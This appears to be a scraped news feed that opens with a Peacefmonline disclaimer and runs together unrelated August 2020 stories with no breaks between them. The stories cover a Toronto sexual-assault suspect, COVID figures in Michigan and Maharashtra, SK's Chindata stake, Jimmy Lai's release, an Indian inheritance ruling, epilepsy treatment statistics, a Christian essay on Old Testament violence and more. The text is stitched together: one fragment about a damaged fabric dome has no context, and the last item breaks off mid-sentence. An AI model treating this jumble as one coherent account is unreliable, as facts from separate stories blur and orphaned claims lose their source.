Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority. Featured Video Toronto police are searching for a Burlington man who allegedly sexually assaulted and choked a 22-year-old woman near York University. On Sunday at 3:40 p.m., Toronto police responded to a call for a sexual assault in North York, near Sentinel and The Pond roads. Investigators said a 22-year-old woman met a man who was known to her. He then allegedly threatened to release her private information unless she paid him money. The man then reportedly sexually and physically assaulted the woman before fleeing the scene. Toronto police were called and officers transported the victim to hospital. Seth Ramanand, 23, of Burlington, is wanted for two counts each of extortion, sexual assault, and overcome resistance by choking, and one count each of assault and mischief under $5,000. He is described as five-foot-six, 140 pounds with short black hair and brown eyes. He is clean shaven and has a number of tattoos, including a rose on his shoulders, the letter V on his right elbow, 1997 on his left wrist, and two skeletons on his abdomen. The suspect may be driving a 2020 black Jaguar F-Pace SUV with the licence plate BZFN 807. Investigators are urging anyone who locates this man to not approach him, but instead to call 911 immediately. Anyone with information is asked to contact police at 416-808-3100, or Crime Stoppers anonymously at 416-222-TIPS (8477) or online at www.222tips.com. A leading London theatre director has told of how a woman removed her mask to cough in the face of his 15-year-old son. Kwame Kwei-Armah, the Young Vics artistic director, shared details of the distressing incident on Twitter on Monday. The playwright, who is black, said the white woman said to her son: This is what you people do. He added that his son has since tested negative for coronavirus. The Young Vic's artistic director said his son had tested negative for coronavirus / Getty Images Kwei-Armah, 53, tweeted: I dont speak of my family on social (media) but last week my 15-year-old was on a train when an adult white woman out of the blue removed her mask and coughed in his face. She ran off the train shouting, This is what you people do. Covid test has just come in negative. We are relieved. But really? Fellow users of the platform rushed to share their support for the director and his family. The Standard's Arts Editor Nancy Durrant commented: "Good god. What is wrong with people? "So sorry for your son (and everyone to whom this gives a moment of 'that could have been me/my son/my sister etc')." Journalist Farah Jassat wrote: "This is awful!!! So sorry and angry to hear. Solidarity Kwame." And actor Mark Delaney added: "Wow, wtf is wrong with people?! "The nature of compassion in recent years has taken the most brutal of hits. "Aggressive ignorance feels more justified for some, than ever before. "Sending love to your son and your whole family Kwame. "Heres to a safer, loving and better future." Kwei-Armah said had reported the incident to police and they have launched an investigation. The 53-year-old has been the artistic director of the Young Vic theatre since 2018. His directing credits include New Yorks Public Theatre, Signature Theatre, Oregon Shakespeare Festival, the Baltimore Symphony Orchestra and Birmingham Repertory Theatre. His production of One Night In Miami at the Donmar Warehouse was nominated for an Olivier Award for best new play. LAKE COUNTY, MI A northern Michigan health department is asking anyone who visited the Na-Tah-Ka Restaurant in Irons on the evening of Aug. 7 to self-monitor for coronavirus after a customer who dined there tested positive for COVID-19 the following day. The District Health Department #10, which is based in Cadillac, says patrons should self-monitor for symptoms through Aug. 21. Those who are self-monitoring should also keep away from family, close contacts, and roommates as much as possible. COVID-19 symptoms include fever or chills, cough, fatigue, shortness of breath, muscle aches, sore throat, nausea, vomiting, diarrhea, and recent loss of taste or smell, the health department wrote in a news release. Anyone experiencing one or more of these symptoms should immediately quarantine themselves and contact a medical provider. Na-Tah-Ka Restaurant is located at 5796 N. Bass Lake Rd. Elise Bender-Merkey, the manager, said the restaurant is following social distancing guidelines, has implemented increased cleaning and sanitizing procedures, and is screening employees for coronavirus symptoms prior to their shifts. In response to the incident, she said Na-Tah-Kas roughly 25 employees will be tested for COVID-19 at Baldwin High School on Friday, Aug. 14. She said results are expected to be made available between seven and nine days. I am 100 percent confident that we couldnt do better than what we are for sanitizing, Bender-Merkey said. She added, Were taking every possible precaution available to not spread the virus and keep everyone safe and that includes employees and customers. The health department says about 40 percent of COVID-19 cases appear asymptomatic. Asymptomatic cases are especially difficult because they are not sick and therefore not staying home., the health department wrote. Additionally, contagious individuals can spread virus prior to experiencing symptoms. Kevin Hughes, Health Officer for DHD#10, says hes urging everyone to take the required masking and social distancing mandate seriously to prevent further spread of COVID-19. This virus impacts people differently some may have mild symptoms or none at all, while others can have severe symptoms and may become hospitalized, he said. Wearing a mask and social distancing will help to protect others from you if you have the virus and do not know it. Read more: Michigan high school football teams start practice. Is there hope for a season? Severe Thunderstorm Watch issued for southwest Michigan, storms packing 80 mph winds Work that will close Grand Haven drawbridge subject of meeting . SK Holdings, the parent of South Korean conglomerate SK Group, paid US$300 million for an 8.9 per cent stake in Bain Capital-backed data centre provider Chindata Group, according to a person familiar with the matter. The deal valued the Chinese company at US$3.1 billion, according to the person, who was not authorised to discuss the matter publicly. The transaction is subject to regulatory approval and is expected to close in the third quarter. SK Group is one of South Korea's largest conglomerates, with operations in a variety of sectors, including chemicals, energy, logistics, pharmaceuticals, semiconductor manufacturing and telecommunications. SK already holds significant investments in the data centres in South Korea, where it owns six data centers with more than 100 megawatts of in-service capacity. Bain and Chindata did not immediately respond to requests for comment on Monday. Founded in 2015, Chindata, which is based in Beijing, is one of the largest hyperscale data centre providers focused on China, India and Southeast Asia. The company's mainland operations include data centres in the greater Beijing area, the Yangtze River Delta and the Greater Bay Area. Bain acquired Chindata from Wangsu Science and Technology Company in May 2019, investing US$570 million in the business. It combined the company with Bridge Data Centers in July of last year. "Over the past five years, Chindata Group has seen rapid growth, building a number of next-generation hyperscale data centres for tech giants in competitive and promising markets, such as China, Malaysia and India," Alex Ju, Chindata's founder and chief executive, said in a letter in July outlining the company's sustainability efforts. "Moreover, we have devoted ourselves to satisfying the needs of the most ambitious and forward-looking enterprises in the world with cutting-edge technology and our carrier-neutral, all-adaptive, flexible and scalable data centre solutions, thus keeping them maintaining excellence." Story continues As part of its sustainability efforts, Chindata set a long-term goal last year of having its data centres run 100 per cent by renewable energy. Data centres in China have become an increasingly attractive investment for private-equity firms in recent years as the mainland embraces 5G mobile technology and consumers buy more of their goods online, rather than in stores. Bloomberg reported in January that Chindata had selected a group of banks, including Citigroup, Credit Suisse and Morgan Stanley, for a potential US initial public offering later this year. Deutsche Bank acted as the sole financial adviser to SK Holdings on the transaction. This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright 2020 South China Morning Post Publishers Ltd. All rights reserved. Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved. Russias exports of petroleum products to the United States more than doubled in the first half of 2020 compared to the same period last year, reaching their highest levels since at least 2004, Russian outlet RBC reported, citing Russian customs data. Russias oil products exports to the U.S. jumped to 9.1 million tons between January and June 2020, up from 4 million tons for the same period in 2019. The U.S. was Russias second-largest buyer of oil products accounting for 12 percent of Russias petroleum products exports after the Netherlands, which accounted for 16.3 percent of all oil product exports, the customs data showed. The U.S. has been importing higher volumes of Russian petroleum products since April last year, according to data from the U.S. Energy Information Administration (EIA). In the first half of 2020, U.S. importers apparently found Russian oil products more attractive in terms of pricing, and they also had to replace oil products from Venezuela which is under U.S. sanctions, Raiffeisenbank analyst Andrey Polischuk told RBC, commenting on the increase in Russian oil exports to the United States. The U.S. has been raising its imports of fuel oil from Russia over the past year and a half after the U.S. imposed sanctions on Venezuelas exports, Reuters reported last month, quoting data from Refinitiv Eikon. Venezuelas heavy crude oil is suitable to process in complex refineries on the U.S. Gulf Coast, but the sanctions have cut off Venezuelan oil flows to the United States. Last year, when the U.S. began slapping sanctions on Nicolas Maduros regime, refiners started to raise their imports of fuel oil from Russia, importing a record-high volume of 11 million tons for the full year 2019, double the fuel oil imports from Russia in the previous year. In July 2020, Russia exported 1.078 million tons of fuel oil to the United States, equal to more than 7 million barrels, and a 16-percent increase on June as U.S. refiners had to replace lost barrels of Venezuelan heavy oil following U.S. sanctions on Caracas. By Tsvetana Paraskova for Oilprice.com More Top Reads From Oilprice.com: Hong Kong: Media mogul Jimmy Lai was let out of police custody on Tuesday evening after more than 40 hours to cheers from supporters of the pro-democracy movement. The South China Morning Post newspaper said Lai had to pay the equivalent of around $US37,600 ($52,000) in bail money, on top of an additional security deposit. Several other activists were also released on bail. Lai was detained by Hong Kong police on Monday on suspicion of breaching the city's new national security law, as Beijing further tightens its hold on the city. Hong Kong media tycoon and newspaper founder Jimmy Lai, walks out from a police station after being bailed out in Hong Kong. Credit:AP Hong Kong residents bought copies of the Apple Daily newspaper that Lai founded en masse on Tuesday, a day after he was arrested in the biggest blow to the city's pro-democracy movement since the passing of the national security law in June. In a landmark judgment, the Supreme Court on Tuesday ruled in favour of rights of daughters to have a share in a Hindu Undivided Family (HUF) property. Settling the disputed question of law, a three-judge bench headed by Justice Arun Mishra held that daughters will have a right in the parental property in accordance with the 2005 amendment in the Hindu Succession Act. The court held that daughters' rights are absolute after the amendment and that she would have the right of inheritance irrespective of whether the father was alive at the time of the amendment or not. This clarification is important since it sets aside a clutch of previous decisions by the top court that she would have the coparcenary right only if both the father and the daughter were alive as on September 9, 2005 when the amendment was notified. The bench cited the objective of the amendment to say that daughters were to be given a right in the HUF as a coparcenary, equal to a son, and that such conditions go against the spirit of the amendment carried out. It held that a daughter, living or dead, as on the date of the amendment, shall be entitled to a share in her fathers property. It means that even if the daughter was not alive on the date of the amendment, her children could claim their rightful portion. The court recognised that just like sons, the amendment also extended the status of the coparcener to a daughter, allowing her to enjoy the same rights as a son. This judgment has now settled the ambiguity around the nature and extent of a daughters rights to an HUF property. The bench asked the courts concerned, where several matters remained pending for want of an authoritative ruling by the Supreme Court, to take up and dispose them of within six months. A common misperception has spread throughout the epilepsy community: It is said that if the first two anti-seizure medications fail, chances of seizure freedom drop to less than 5%. Prestigious journals have printed this figure, and respected academics have presented it at conferences. It's been used in advertisements that promote other epilepsy treatment options, such as nerve stimulation. It's wrong. A smaller pie, a larger slice It is true that in Kwan and Brodie's seminal 2000 study, only 4% of the entire study cohort achieved seizure freedom after two failed medications. And in the 2018 follow-up by Chen et al, only 4.4% of the study cohort became seizure-free on a third medication regimen. But these percentages are not small because the situation is hopeless-;they are small because the study cohort is large. The cohort includes everyone: Those who gained seizure freedom on a first or second medication, as well as those who tried a third medication and anyone lost to follow-up. Drawing individual-level conclusions using the entire cohort is something like saying "In 2018, there were 3.7 million US high school graduates and 6,000 of them were accepted to the University of X, so the University of X has a 0.16% acceptance rate." Of course that's not true. Most US high school students didn't even apply to the University of X, so they cannot be included when calculating an acceptance rate. By the same token, most people in the 2000 and 2018 studies didn't try a third medication regimen-;so they cannot be included when calculating a success rate. The seizure freedom rate for any given medication regimen must include only the patients who tried that regimen, and exclude those who have not. Such was the main point of a recent letter in the journal Epilepsia, titled "Misperceptions on the chance of seizure freedom with antiseizure medications after two failed trials." Authors Benjamin Blond, Lawrence Hirsch and Richard Mattson were compelled to write the letter after years of seeing population-level analysis used to make individual-level claims, culminating with an advertisement falsely stating that "After two anti-seizure medications fail, the chance of the third failing is 95%." Seizure-free rates after two failed medications are much higher than 5%. The 2018 follow-up study found that among people who tried a third medication, 23.6% achieved seizure freedom. Similarly, seizure freedom was achieved in 15% of those trying a fourth medication, 14.1% trying a fifth and 14% trying a sixth. (Only 15 people tried more than 6 medications) Other research generally aligns with these percentages. In a study of 403 patients, 31% achieved seizure freedom after failing at least two anti-seizure medications. A trial in people with focal epilepsy found seizure-free rates between 11.8% and 17.4% after two failed medications. Accuracy brings optimism The crucial message for clinicians and patients is that seizure freedom is possible, even if the first two medications don't work, said Blond, and that conveying accurate seizure freedom rates makes a difference. If a patient hears, "'You've tried two medications and now you have less than a 5% chance of seizure freedom,' they might give up. Not everyone is responsive to the idea of epilepsy surgery and not everyone is a candidate, so where does that leave them? Whereas if they are told there's a 23% success rate for a third medication, that's close to 1 in 4 people." Benjamin Blond, Department of Neurology at Stony Brook University Renaissance School of Medicine, New York Kwan agreed with the authors' assessment. "The letter explains the correct method to interpret our data very well," he said. "At an individual level, the total number of patients who tried a particular regimen would naturally be a more meaningful denominator." The goal of the Epilepsia letter was not to discourage people from epilepsy surgery or other treatment options, Blond said, but to help clinicians and patients make decisions using accurate information. "Seizure freedom makes a huge difference, in terms of quality of life and survival," Blond said. "If you can help someone achieve that, you can change their life." The U.S. State Department has welcomed Slovakias decision to expel three Russian diplomats -- a move that media in Slovakia have linked to the 2019 killing in Berlin of a former Chechen rebel from Georgia. State Department spokesperson Morgan Ortagus wrote on Twitter on August 11 that the U.S. applauds the recent actions taken by Slovakia to protect against threats that foreign malign actors pose to its sovereignty. [Slovakia] has sent a clear signal that it will not tolerate Russias politically-motivated criminal acts, Ortagus wrote. On August 10, Slovak Foreign Ministry spokesman Juraj Tomaga said the three Russian diplomats had violated the Vienna Convention on Diplomatic Relations and must leave Slovakia by the end of the week. According to Tomaga, the decision also was a reaction to the misuse of a Schengen visa issued by Slovakia's consulate in St. Petersburg that led to "a serious crimeon the territory of another NATO and EU member state." Russian media quoted Foreign Ministry officials in Moscow as saying that Russia will respond to the expulsions "in a similar way. Slovakia's Dennik N daily reported that a Russian citizen used a Slovak visa to enter Germany in 2019 and later became a suspect in the Berlin killing of Zelimkhan Khangoshvili, a Georgian national of Chechen origin. German authorities apprehended the suspect and prosecutors have accused Russia of ordering the murder, a charge that Moscow denies. The investigative website Bellingcat earlier named the suspect as a Russian citizen, Vadim Krasikov, saying he was a contract killer who grew up in Kazakhstan. With reporting by AFP, Dennik N, TASS, and dpa Chang said there are two holes in the fabric from the storm. He is uncertain at this time if the holes can be repaired or of the entire fabric dome will need to be replaced. Chang said it is unclear right now how long it will take to get someone from the company to look at it or make the repairs due to restrictions imposed at the U.S.-Canadian border due to pandemic caused by the novel coronavirus, COVID-19. Mumbai, Aug 11 : Covid-19 deaths continued to decline in Maharashtra for the second straight day, but the number of new cases is still soaring, health officials said here on Tuesday. The state notched 256 Covid deaths - down from the highest one-day fatalities at 390 on August 9, and recorded 11,088 new cases, dropping below the one-day peak of 12,822 (August 8). The state's death toll shot up from 18,050 a day earlier to 18,306, while the total number of cases went up from 524,513 to 535,601 now - both highest in the country. According to Tuesday's figures, there was one death roughly every 6 minutes and a staggering 462 new cases every hour added to the state tally. The state recovery rate moved up from 68.33 per cent to 68.79 per cent on Tuesday, while the current mortality (death) rate stood at 3.42 per cent. A total of 10,014 recovered patients returned home, taking the total number of discharged patients to 368,435 till date - considerably higher than the 148,553 'active cases' currently in the state. Of the total 256 fatalities, Pune topped again with 53 deaths, followed by Mumbai's 48 deaths, and Thane's 43. Dipping below the 50-mark for the second day, with 48 fatalities, Mumbai's toll increased from 6,845 to 6,893 and the number of cases increased by 917 - to touch 125,224 now. Besides, there were 27 deaths in Kolhapur, 15 deaths in Nashik, 12 in Nagpur, 11 in Palghar, 7 each in Jalgaon and Solapur, 5 each in Ahmednagar and Sangli, 4 in Raigad, 3 in Beed, 2 each in Dhule, Satara, Ratnagiri, Jalna, plus a single fatality each in Aurangabad, Parbhani, Latur, Osmanabad, Nanded, Buldhana and Wardha, besides 1 from another state. State Health Minister Rajesh Tope announced that the cost of Covid tests would be further slashed to between Rs 1,900 and Rs 2,200, from the existing Rs 2,200 to Rs 2,800, for the second time since June 13, making it the lowest in the country. The MMR (Thane Division, comprising Mumbai, Thane, Palghar and Raigad) remains on the brink as deaths spiral and cases pile up, with the toll shooting up by 106 to touch 10,962 deaths and a fresh 2,713 new cases pushed the total to 272,104 now. Pune district's total cases have touched 116,646, with the death toll rose from 2,771 a day earlier to 2,824, while Thane district had 106,938 cases with 3,092 fatalities, on Tuesday. With 62 more fatalities, the Pune Division's (comprising Pune, Solapur and Satara districts) death toll touched 3,596 and the case tally zoomed up with 2,459 new cases to reach 135,061. Nashik Division has recorded 1,496 fatalities and 52,447 cases, followed by Aurangabad Division notching 708 deaths and 21,573 cases, and Kolhapur Division recorded 499 fatalities and 18,370 cases. Next is Latur Division with 373 fatalities and 12,375 cases, Akola Division with 333 fatalities and 10,683 cases, and Nagpur Division with 283 deaths and 12,437 cases. Meanwhile, the number of people sent to home quarantine increased from 10,01,268 to 10,04,233 now, while those in institutional quarantine increased from 35,521 to 35,648 on Tuesday. Latest updates on Coronavirus (COVID-19) On Monday, a meeting between Sachin Pilot and Congress leader Rahul Gandhi had signalled an 'amicable resolution' of the Rajasthan crisis Jaipur: Congress leader Sachin Pilot on Tuesday said he has not demanded any post from the party and there should not be any vendetta politics as he returned to Jaipur nearly a month after his revolt against Chief Minister Ashok Gehlot. On Monday, a meeting between Sachin Pilot and Congress leader Rahul Gandhi had signalled an "amicable resolution" of nearly a month-long Rajasthan political crisis ahead of the crucial assembly session beginning 14 August. The Congress leader told reporters that he did not make any statement against the party and had gone to discuss issues with the Congress high command in Delhi. I have not demanded any post from the party, he added. Pilot, however, said he was shocked at statements made against him. "I am sad, shocked and hurt due to the kind of words used against me," Pilot said. He said there should not be any space for personal ill-feelings in politics and there should not be any vendetta politics. A large number of his supporters gathered outside his residence to welcome him as he drove down to Jaipur from New Delhi in his car. Source: Xinhua| 2020-08-12 02:12:16|Editor: huaxia Video Player Close ROME, Aug. 11 (Xinhua) -- Most of western Europe has been held in the grips of a major heatwave since early August, forcing governments to make drastic moves in many countries. Analysts have called for action as they say that hot spells are expected to become more common in the coming years. Just in the last two weeks, England, Spain, France, Switzerland, and Germany are all reported to have set record highs: the coolest among them -- the sizzling 37.8 degrees Celsius (100 degrees Fahrenheit) -- was recorded at London's Heathrow Airport, and the highest, 44 degrees Celsius in northern Spain. Authorities in Paris and Amsterdam are reportedly handing out free water bottles to help combat the impacts of the heat. In Italy and Spain, health officials are encouraging people to stay inside during the hottest hours of the day, while Italian farmers are worried crops may wilt in the fields due to a lack of rain and a shortage of workers. In Portugal, officials expressed worries that the heat might cause wildfires, while in Germany people fleeing steaming cities were turned away from over-crowded beaches. "What was unusual a generation again in terms of hot and extreme weather is becoming normal now," Klaus Rohrig, European Union (EU) climate and energy coordinator for the Climate Action Network, or CAN, told Xinhua. "In the same way, if countries do not take action, Europe can expect that what now seems out of the ordinary will become commonplace in the future." The high temperatures are complicating what is already a challenging year due to the impacts of the global coronavirus outbreak. According to data gathered by CAN, 2019 was the hottest year on record in Europe so far, with temperatures in some areas consistently as much as 4 degrees Celsius above normal. Because of unusually cool spring, 2020 as a whole may not pass last year's record, but Rohrig estimated that so far this summer is at least as hot as last year's in Europe. According to data from the European Commission's Joint Research Center published at the start of the summer, if average temperatures rise by 3 degrees Celsius, it will cost Europe's economies a devastating 175 billion euros (205 billion U.S. dollars) or more each year, the equivalent to around 1.4 percent of the EU's gross domestic product, and more than the EU's total budget last year, which was 166 billion euros. The report said the costs will come from reduced crop yields, erosion, weather damage to infrastructure, energy production, and other factors. "The economic damage will not have the same impact across all coun tries," Rohrig said. "Southern Europe will suffer more and countries that have weaker economies will have a harder time adapting." Roberto Race, a cofounder of Competere, a policy think tank, said in an interview that as countries emerge from the global coronavirus pandemic they should spend money to emphasize sustainability and green technologies. "European leaders should be focusing on trying to strike the correct balance with a kind of 'green new deal,'" Race said. "They should focus on green development without burdening businesses with too many regulations that would make them uncompetitive in a global marketplace." Enditem Full-city massacres. Murder, rape, and dismemberment. Fire raining down from heaven at a single command. No, its not the latest action movie but, rather, real-life events depicted throughout Gods Holy Word, the Bible. Christians often wonder how God felt about all this. Did God condone the violence found in the Old Testament? How could our Good Father the God of life, creation, compassion, and mercy not only allow but encourage some of the brutality depicted? What Sort of Violence Is Depicted in the Old Testament? From Cains jealous slaughter of his brother Abel (Genesis 4) to a massive flood that wiped out nearly every living thing on the planet (Genesis 6-7), the Bible starts with a violent bang. In fact, nearly every book in the Old Testament depicts some sort of violence. God rained fire and brimstone upon Sodom and Gomorrah in Genesis 19 for their flagrant and wanton sins. In Exodus, God blanketed Egypt with widespread plagues, including the killing of all firstborn children (Exodus 12:29). In Leviticus, God sets forth harsh laws, including execution for sins labeled detestable by Him (Leviticus 20). Violence against women runs rampant throughout Judges, from the sacrifice of Jephthahs daughter (Judges 11) to the sexual abuse and dismemberment of the nameless concubine in Judges 19:23-30 (which there was a call for justice and action for her), to the indiscriminate slaughter of all non-virgin women in Judges 21, with the exception of the 400 young virgins forced to marry their captors. (Its worth reading all these instances in context, as well). Gods prophet Elijah called down fire from heaven to consume two separate groups of men who came to speak to him on behalf of King Ahaziah and would have torched a third had they not begged for their lives (2 Kings 1). One of the more bizarre acts of violence comes in 2 Kings 2:23-25, which tells how the prophet Elisha, a man of God, cursed a group of boys who taunted him, calling him Baldy as he walked toward Bethel. Two bears suddenly came from the woods and mauled 42 of the boys, fulfilling the curse. Did God Call for Any of the Violence in the Old Testament? While some of the violence in the Old Testament was done by Gods people, some of it appears to have been called for by God Himself. For instance, in Joshua 8, God ordered the leader of the Israelite tribes to ambush and annihilate the city of Ai, and throughout the book of Joshua, God seems both to prescribe and approve of the bloody conquest of Canaan, which involved the slaughter of women, children, and animals. Judges 1 describes how God helped Judah triumph against the Canaanites and Perizzites, the people in the hill country, and the entire city of Bethel, which was put to the sword (Judges 1:25). This is fully in line with what God ordered through Moses in Deuteronomy 7:1-2 that when Gods people entered the Promised Land they were to destroy them totally. Make no treaty with them, and show them no mercy. And, as elaborated in Deuteronomy 20:16, Do not leave alive anything that breathes. Its not only enemies who experienced such wrath. In 2 Samuel 6, when King David and his men were bringing up Gods holy ark on a cart from Baalah to the City of David, one of the oxen stumbled and an Israelite named Uzzah reached out to steady the ark. Scripture tells us the Lords anger burned against Uzzah because Uzzah touched His holy ark, considered an irreverent, disrespectful, and disobedient action. God struck down Uzzah, and he died (2 Samuel 6:7). Why Would a Loving God Condone Violence? Some people take great issue with the fact that our loving, good God would not only accept but, indeed, authorize violence. Some scholars have concluded the violence described was far less brutal than the text might imply. For instance, destroy or put to the sword could be a metaphor for merely driving enemies out of the land. Battle language can be extreme, after all. Other scholars remind us that God, who is holy and all-knowing, discerned the souls of all the people destroyed, and these were not innocents but rather evil enemies of the Lord in a grand holy war. After all, the Canaanites were a wicked people (Deuteronomy 9:4) who regularly sacrificed their sons and daughters in the fire to false gods (Deuteronomy 12:31). Other enemies were known tyrants who viciously oppressed and exploited people. In essence, God wasnt glorifying violence but rather destroying intolerable evil, a necessity, and, perhaps, a last resort. For instance, the Bible tells us God, struck by the rampant iniquity and malevolence filling the heart of every person on earth, was deeply troubled (Genesis 6:6) and resolved to wipe out the human race. But one man, Noah, God saw to be righteous, and so He chose to restart the world with the one salvageable human family in existence. Gods anger is not rash but rather a holy response to evil intruding upon the world. Sometimes, He allows this evil to occur until the right time, such as when he told Abram the sins of the Amorites had not yet reached its full measure (Genesis 15:16). Does God Delight in His Wrath? God does not delight in His wrath. He prefers that His people repent and live. He is a God of many chances, offering grace and mercy even toward great evildoers. He told Jonah to go preach His word to the city of Nineveh, warning the people God was going to overthrow their city because of their awful wrongdoings. However, the threat of impending doom woke the people from their evil ways, and they repented their sins. God offered them grace and did not destroy Nineveh (Jonah 3:10). In 1 Kings 21 after His prophet Elijah told the bloodthirsty King Ahab that God would bring disaster upon him, wiping out his descendants, whose remains would be devoured by dogs and birds Ahab tore his clothes and fasted in repentance. Yet in spite of Ahabs evil heart, God softened at his display of humility, telling Elijah, Have you noticed how Ahab has humbled himself before me? Because he has humbled himself, I will not bring this disaster in his day, but I will bring it on his house in the days of his son (1 Kings 21:29). Years later, God expressed similar understanding and compassion when He told the prophet, Ezekiel, But if a wicked person turns away from all the sins they have committed and keeps all my decrees and does what is just and right, that person will surely live; they will not die. Do I take any pleasure in the death of the wicked? declares the Sovereign Lord. Rather, am I not pleased when they turn from their ways and live? (Ezekiel 18:21, 23). Its the same sort of grace offered by God when He sent His son, Jesus Christ, to show us the path to eternal life and pay the debt of our unrelenting sin once and for all. Indeed, reading the Old Testament with an eye on the New Testament, and Gods ultimate plan through our Savior Jesus, indicates another perspective about the violence throughout earths earlier days. After all, we know Gods full plan involves teaching and ultimately rescuing His people from evil through His Son, Jesus Christ. While the violence peppered throughout the Old Testament can be troubling and confusing to believers, we are to take heart and know that God loves us. He hates evil and will punish when necessary. But as Jesus said, fear not, In this world you will have trouble. But take heart! I have overcome the world (John 16:33). Photo Credit: iStock/Getty Images Plus/RomoloTavani Jessica Brodie is an award-winning Christian novelist, journalist, editor, blogger, and writing coach and the recipient of the 2018 American Christian Fiction Writers Genesis Award for her novel, The Memory Garden. She is also the editor of the South Carolina United Methodist Advocate, the oldest newspaper in Methodism. Learn more about her fiction and read her faith blog at jessicabrodie.com. She has a weekly YouTube devotional, too. You can also connect with her on Facebook, Twitter, and more. Shes also produced a free eBook, A God-Centered Life: 10 Faith-Based Practices When Youre Feeling Anxious, Grumpy, or Stressed. Ludhiana: Car-borne assailants gunned down Ravinder Singh Sonu, 38, the Samrala rural unit president of the Youth Akali Dal (YAD), at Seh village in Ludhiana district on Tuesday afternoon. Police said Ravinder Singh was taking part in a tree plantation drive at a gurdwara in the village when four men stepped out of a Maruti Suzuki Swift car and fired at least 10 bullets at him from close range and fled. Eyewitnesses said that four of the six car occupants calmly walked up to Ravinder and before anybody at the spot could react, they pulled out their weapons and opened fire, killing him on the spot. The motive of the attack is yet to be ascertained. Ravinder Singh is the younger son of Seh village sarpanch Ranjit Kaur, who is a Shiromani Akali Dal loyalist. Ravinders elder brother Gurpreet Singh, alias Gura Seh, was hacked to death 17 months ago following a dispute over torn posters of a rival Congress group. Villagers gathered at the spot and did not allow the police to take the body initially. It was only after senior police officials from Khanna rushed to the village and pacified the residents did they relent. SPRINGFIELD The Massachusetts Gaming Commission on Thursday will consider a request by casinos to restart roulette and craps games during the coronavirus pandemic. The meeting is scheduled to begin at 10 a.m. by teleconference. Encore Boston Harbor and MGM Springfield, the two casinos in the state with table games, have asked to restart roulette and craps games, which have not been allowed since casinos were allowed to reopen in early July. In a prepared comment Tuesday, MGM Springfield said: We appreciate the Gaming Commissions consideration of our request as we progress through a phased reopening with the health and safety of our employees and guests at the forefront of any decisions. The casinos had been closed since mid-March due to the pandemic, and then were allowed to reopen under extensive guidelines approved by the Gaming Commission. Those guidelines have not allowed roulette, craps and poker games. Encore and MGM specifically requested the restart of roulette and craps, a spokeswoman said, and the vote could come Thursday. The status of poker is slated for discussion. Gaming Commission Executive Director Karen Wells will provide a general report to the commission on the reopening of the casinos and possible expansion of gaming, according to the agenda. MGM Springfield reopened over the weekend of July 10-13, after the four-month, state-ordered shutdown. Encore and Plainridge Park reopened a few days earlier. Plainridge is a slots parlor with no gaming tables. The guidelines for reopening have resulted in the casinos reopening with approximately one-third of their pre-pandemic capacities. The guidelines include spacing requirements; plexiglass dividers; masks worn when not outdoors, eating or drinking; and other safety precautions. The MGM Springfield request for roulette and craps also includes plexiglass installed at tables and physical distancing similar to other permitted table games. In Springfield, the casino had 819 slot machines and 90 seats at table games, according to a recent report. (Bloomberg) -- Waterdrop Inc. has raised about $200 million to bankroll its expansion in healthcare crowdfunding, according to people familiar with the matter. The insurance tech startup, backed by Tencent Holdings Ltd., raised the money at a valuation of around $2 billion, the people said, asking not to be identified because the matter is private. A representative for Waterdrop declined to comment. One of Waterdrops main businesses, Water Mutual, operates like a collective: people chip in small amounts of money to help others diagnosed with critical illnesses and in return receive payouts when they themselves are in need. The company said last year it takes a commission of 8%. The Beijing-based company is also said to be mulling an initial public offering, other people familiar with the matter said last month. The four-year-old firm plans to include its key business units -- Waterdrop Mutual, as well as Waterdrop Insurance Mall and Waterdrop Crowdfunding -- in the proposed listing. A share sale could help Waterdrop raise funds to fend off competition from Ant Group in the Chinese healthcare space. Theres growing demand for quality medical services in China, whose population is rapidly graying and grappling with soaring rates of critical illnesses. Waterdrop is working with Bank of America Corp. and Goldman Sachs Group Inc. on the IPO. The U.S. is among potential listing venues but no final decisions have been made. Waterdrop, which works with 28 insurance companies including some of Chinas biggest names, has more than 250 million users, according to its website. Its backers include Boyu Capital, Meituan Dianping and IDG Capital Partners, and it raised about 1 billion yuan ($143 million) in a series C funding round in June 2019. Ants Xiang Hu Bao, which has around 106 million users, is one of Water Mutuals direct competitors. For more articles like this, please visit us at bloomberg.com Subscribe now to stay ahead with the most trusted business news source. 2020 Bloomberg L.P. Far from deterring Putin, the exposure of the alleged Salisbury assassination attempt was a prelude to the reckless GRU bounties. Putin is stuck in an endless loop of revenge. The Soviet Union is dead and gone, and the Cold War is ancient history but not for this former KGB officer. Hes still fighting the lost cause: Its not enough to denigrate his enemies; he actively pursues and tries to kill them. Rather than reforming Russias corrupt, authoritarian system, he works to undermine the United States fragile democracy. A Camden County homeowner and a promoter hosted a pool party with about 250 attendees and charged admission after authorities warned the resident about violating the states coronavirus restrictions, police said Monday. Jeffery Davis Jr, 31, of Sicklerville, and Marheem, T. Miller, 28, of Camden, were charged with violating the executive orders issued by Gov. Phil Murphy in response to the pandemic, according to police. Authorities learned Davis planned to host a for-profit pool party at his Prospect Court home in Gloucester Township, police said. Officers on Thursday warned the resident his planned event could violate local and state regulations, the department said. Three days later, police were watching his single-family home when they saw some 250 people inside and outside of his property for the planned party, according to authorities. Attendees were observed to NOT be wearing facemasks, and were NOT practicing social distancing, township police said in a statement. Officers also noted loud music that violated town rules, police said. Eight vehicles were given parking tickets and Davis was also cited for littering. Public works crews were called in the next day to clean up trash left from the festivities. The bash was among a series of large parties being held in violation of Murphys orders around the state. Police said they disrupted similar parties in Jackson and Howell with hundreds of attendees. The governor ordered stricter limits on indoor gatherings last week after the state saw increasing numbers of young people who tested positive for the coronavirus. Indoor events can open at 25% percent capacity with a 25 person cap. Our journalism needs your support. Please subscribe today to NJ.com. Noah Cohen may be reached at ncohen@njadvancemedia.com. Source: Xinhua| 2020-08-11 15:42:41|Editor: huaxia Video Player Close NANNING, Aug. 11 (Xinhua) -- South China's Guangxi Zhuang Autonomous Region has taken legislative measures to protect the Jing ethnic culture, according to local authorities. The regional legislature has adopted a regulation to protect both tangible and intangible cultural heritages of Jing ethnic people, including the single-stringed musical instrument Duxianqin and traditional Ha (singing) festival. According to the regulation, the ethnic group's language, literature, folk customs, music, dance and handicraft will be included in the curriculums of primary and secondary schools with a 